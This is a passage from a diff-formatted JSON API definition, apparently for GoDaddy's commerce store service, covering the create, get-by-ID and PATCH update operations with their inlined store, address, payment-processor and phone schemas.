common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "description": "The createdAt of the store. This createdAt is generated internally during create store.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "defaultChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "defaultRetailChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "displayName": { + "description": "The store name (used in various displays). It is recommended to pick a different name for each store in the business.", + "maxLength": 64, + "type": "string" + }, + "emailAddress": { + "description": "The email address of the store.", + "maxLength": 64, + "type": "string" + }, + "governmentIds": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-government-id.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "GovernmentId details", + "properties": { + "createdAt": { + "description": "The time (in ISO-8601 format) at which the application was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "governmentId": { + "description": "The government id. E.g. '123456789'", + "maxLength": 64, + "minLength": 1, + "type": "string" + }, + "type": { + "description": "The type of government id. E.g. 'drivers-license'", + "maxLength": 32, + "minLength": 1, + "type": "string" + }, + "updatedAt": { + "description": "The time (in ISO-8601 format) at which the application was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "governmentId", + "type" + ], + "title": "GovernmentId", + "type": "object" + }, + "maxItems": 10, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/store-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment details for a store.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "externalStoreId": { + "description": "MID (merchantId) assigned to the store by the acquirer.", + "maxLength": 64, + "type": "string" + }, + "gatewayStoreId": { + "description": "ID assigned to the store by the gateway (some gateways assign their own IDs). This field will typically not be available when the business is initially created in the Poynt system. Once that information is passed to the gateway, they will provide their ID.", + "maxLength": 64, + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "processorAdapterId": { + "deprecated": true, + "description": "The processor adapter id for the store.", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + } + }, + "required": [ + "externalStoreId" + ], + "title": "Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/store/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the store.", + "enum": [ + "ACTIVE", + "DISABLED", + "REMOVED" + ], + "type": "string" + }, + "subscribedBundles": { + "description": "The list of bundles this store has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "description": "The timezone of the store.", + "maxLength": 64, + "type": "string" + }, + "updatedAt": { + "description": "The updatedAt of the store. This updatedAt is set internally during store updates.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "displayName", + "businessId" + ], + "title": "Store", + "type": "object" + } + } + }, + "scopes": [ + "commerce.store:create" + ] + }, + { + "operationId": "getStoreById", + "method": "GET", + "path": "/stores/{storeId}", + "summary": "Get store by ID", + "description": "Retrieve the information of a store using the Business and Store IDs.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "includeFields", + "in": "query", + "required": false, + "description": "List of fields to include in the response", + "schema": { + "items": { + "type": "string" + }, + "type": "array" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "200": { + "description": "Store Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/store.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Store represent a brand under a business", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "description": "The createdAt of the store. This createdAt is generated internally during create store.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "defaultChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "defaultRetailChannelId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "displayName": { + "description": "The store name (used in various displays). It is recommended to pick a different name for each store in the business.", + "maxLength": 64, + "type": "string" + }, + "emailAddress": { + "description": "The email address of the store.", + "maxLength": 64, + "type": "string" + }, + "governmentIds": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-government-id.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "GovernmentId details", + "properties": { + "createdAt": { + "description": "The time (in ISO-8601 format) at which the application was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "governmentId": { + "description": "The government id. E.g. '123456789'", + "maxLength": 64, + "minLength": 1, + "type": "string" + }, + "type": { + "description": "The type of government id. E.g. 'drivers-license'", + "maxLength": 32, + "minLength": 1, + "type": "string" + }, + "updatedAt": { + "description": "The time (in ISO-8601 format) at which the application was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "governmentId", + "type" + ], + "title": "GovernmentId", + "type": "object" + }, + "maxItems": 10, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/store-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment details for a store.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "externalStoreId": { + "description": "MID (merchantId) assigned to the store by the acquirer.", + "maxLength": 64, + "type": "string" + }, + "gatewayStoreId": { + "description": "ID assigned to the store by the gateway (some gateways assign their own IDs). This field will typically not be available when the business is initially created in the Poynt system. Once that information is passed to the gateway, they will provide their ID.", + "maxLength": 64, + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/store-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by Store", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Store Processor", + "type": "string" + }, + "processorAdapterId": { + "deprecated": true, + "description": "The processor adapter id for the store.", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + } + }, + "required": [ + "externalStoreId" + ], + "title": "Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/store/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the store.", + "enum": [ + "ACTIVE", + "DISABLED", + "REMOVED" + ], + "type": "string" + }, + "subscribedBundles": { + "description": "The list of bundles this store has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/store-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/store/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "description": "The timezone of the store.", + "maxLength": 64, + "type": "string" + }, + "updatedAt": { + "description": "The updatedAt of the store. This updatedAt is set internally during store updates.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "displayName", + "businessId" + ], + "title": "Store", + "type": "object" + } + } + }, + "scopes": [ + "commerce.store:read" + ] + }, + { + "operationId": "updateStore", + "method": "PATCH", + "path": "/stores/{storeId}", + "summary": "Update store information", + "description": "Update the details of a store using the storeId.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "includeFields", + "in": "query", + "required": false, + "description": "List of fields to include in the response", + "schema": { + "items": { + "type": "string" + }, + "type": "array" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/common/patch-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An array of JSON patch objects to apply partial updates to resources.", + "items": { + "$id": "https://godaddy.com/schemas/common/patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The JSON patch object to apply partial updates to resources.", + "properties": { + "from": { + "description": "The JSON pointer to the target document location from which to move the value. Required for the `move` operation.", + "type": "string" + }, + "op": { + "description": "The operation to complete.", + "enum": [ + "add", + "remove", + "replace", + "move", + "copy", + "test" + ], + "type": "string" + }, + "path": { + "description": "The JSON pointer to the target document location at which to complete the operation.", + "type": "string" + }, + "value": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "integer" + }, + { + "type": "string" + }, + { + "type": "boolean" + }, + { + "items": {}, + "type": "array" + }, + { + "type": "object" + } + ], + "description": "The value to apply. The `remove` operation does not require a value.", + "nullable": true + } + }, + "required": [ + "op" + ], + "title": "Patch", + "type": "object" + }, + "title": "Patch Request", + "type": "array" + } + }, + "responses": { + "404": { + "description": "Store Not Found" + }, + "200": { + "description": "Store updated", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/store.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Store represent a brand under a business", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { 